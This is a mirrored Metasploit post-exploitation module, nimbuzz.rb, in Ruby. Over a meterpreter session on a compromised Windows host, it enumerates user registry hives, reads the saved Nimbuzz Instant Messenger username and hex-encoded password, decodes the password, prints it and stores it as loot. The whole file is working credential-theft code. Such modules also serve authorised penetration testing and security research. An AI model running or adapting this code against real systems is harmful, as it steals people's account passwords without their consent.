Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

nimbuzz.rb 2.1KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'msf/core/auxiliary/report'
  7. class MetasploitModule < Msf::Post
  8. include Msf::Post::Windows::Registry
  9. include Msf::Auxiliary::Report
  10. def initialize(info={})
  11. super(update_info( info,
  12. 'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',
  13. 'Description' => %q{
  14. This module extracts the account passwords saved by Nimbuzz Instant
  15. Messenger in hex format.
  16. },
  17. 'License' => MSF_LICENSE,
  18. 'Author' =>
  19. [
  20. 'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
  21. 'Unknown', # SecurityXploded Team, www.SecurityXploded.com
  22. ],
  23. 'Platform' => [ 'win' ],
  24. 'SessionTypes' => [ 'meterpreter' ]
  25. ))
  26. end
  27. def run
  28. creds = Rex::Text::Table.new(
  29. 'Header' => 'Nimbuzz Instant Messenger Credentials',
  30. 'Indent' => 1,
  31. 'Columns' =>
  32. [
  33. 'User',
  34. 'Password'
  35. ]
  36. )
  37. registry_enumkeys('HKU').each do |k|
  38. next unless k.include? "S-1-5-21"
  39. next if k.include? "_Classes"
  40. vprint_status("Looking at Key #{k}")
  41. subkeys = registry_enumkeys("HKU\\#{k}\\Software\\Nimbuzz\\")
  42. if subkeys == nil or subkeys == ""
  43. print_status ("Nimbuzz Instant Messenger not installed for this user.")
  44. return
  45. end
  46. user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Username") || ""
  47. hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Password")
  48. next if hpass == nil or hpass == ""
  49. hpass =~ /.{11}(.*)./
  50. decpass = [$1].pack("H*")
  51. print_good("User=#{user}, Password=#{decpass}")
  52. creds << [user, decpass]
  53. end
  54. print_status("Storing data...")
  55. path = store_loot(
  56. 'nimbuzz.user.creds',
  57. 'text/csv',
  58. session,
  59. creds.to_csv,
  60. 'nimbuzz_user_creds.csv',
  61. 'Nimbuzz User Credentials'
  62. )
  63. print_status("Nimbuzz user credentials saved in: #{path}")
  64. end
  65. end